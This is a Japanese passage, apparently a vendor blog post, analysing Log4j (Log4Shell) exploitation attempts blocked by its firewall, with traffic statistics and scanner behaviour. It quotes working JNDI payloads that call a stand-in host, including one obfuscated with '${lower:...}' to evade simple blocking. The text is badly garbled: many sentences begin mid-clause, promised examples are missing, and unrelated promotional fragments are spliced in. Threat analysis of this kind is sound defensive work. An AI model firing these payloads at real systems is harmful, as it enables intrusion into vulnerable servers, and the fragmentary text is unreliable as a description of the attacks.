お客様に対する緩和策について書きました。お客様にも保護策を展開しています。スキャンや脆弱性の悪用を試みた何時間ものデータが揃っているので、実際に使用されているペイロードや統計を調べ始めることができます。通じてブロックしているリクエストから始めましょう。UTC)、1,800件辺りに最大のピークを迎えました(1分間におよそ20,000件のエクスプロイトリクエストがブロックされています)。スキャンは1日中継続して行われています。今後もこの状態が続くと思われます。アドレスの数を見てみました。200から400のIPアドレスが常にスキャンされているようです。これまでのところ、スキャンや不正使用の試みは、カナダ、そして米国からのものが最も多くなっています。ブロックされたリクエストの多くは、サーバーが実際に悪用可能かどうかを確認するための偵察のようです。アドレスはすべてサニタイズしています)。${jndi:ldap://x.x.x.x/#Touch}これは、アクターが管理しているであろうx.x.x.xのサーバーを攻撃し、インターネットプロパティが悪用可能であることを記録する簡単な方法のように見えます。これだけではアクターにはあまり伝わりません。2番目に多かったリクエストには次のようなものがありました。フィールドに表示されました。書かれていることに注目してください。これは、アクターにとって、User-Agentを利用したエクスプロイトが有効であることを示す手がかりとなるでしょう。使おうとしていました)。ふりをして、余分な情報を入れようとしたのです。アドレスをエクスプロイトのペイロードにエンコードしています。脆弱であるかを知ることができました。Webサイトの名前をエクスプロイトのペイロードに含めるというものがありました。使っているアクターもいました。一般的に使用されているプロトコルです。標準的なコマンドラインツールを使用したものです。ペイロードは次のようなものです。パイプで接続されます。出力は必須ではないので、これはアクターにエクスプロイトが成功したことを示すためにサーバーを叩いているだけであることに注意してください。他の機能を使って、${jndi:ldap}のような文字列の単純なブロックを回避しようとする活発な試みが見られます。${lower}機能(文字を小文字にする)を使って、次のように回避するのが一般的なようです。${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x現時点では、多くの偵察が行われているようです。善人も悪人も、世界中の脆弱なサーバーをスキャンしています。最終的には、こうした偵察活動の一部が、実際にサーバーや企業に侵入することになるでしょう。ログはフロントエンドとバックエンドのシステムに深く埋め込まれているため、数時間から数日は明らかにならないものもあります。地中で静かに成長する胞子のように、あるものは土を突き破って光の中に出てきます。ファイアウォールのルールを更新していきます。構築するためのお手伝いをします。ハッカーを封じ込めます。アクセスすることで、Cloudflareの無料アプリをご利用いただけます。アクセスしてください。Trustが提供するブラウザのゼロデイ脆弱性に対する保護機能CVE-2022-1096は、Webブラウザに影響を及ぼすゼロデイ脆弱性の1つです。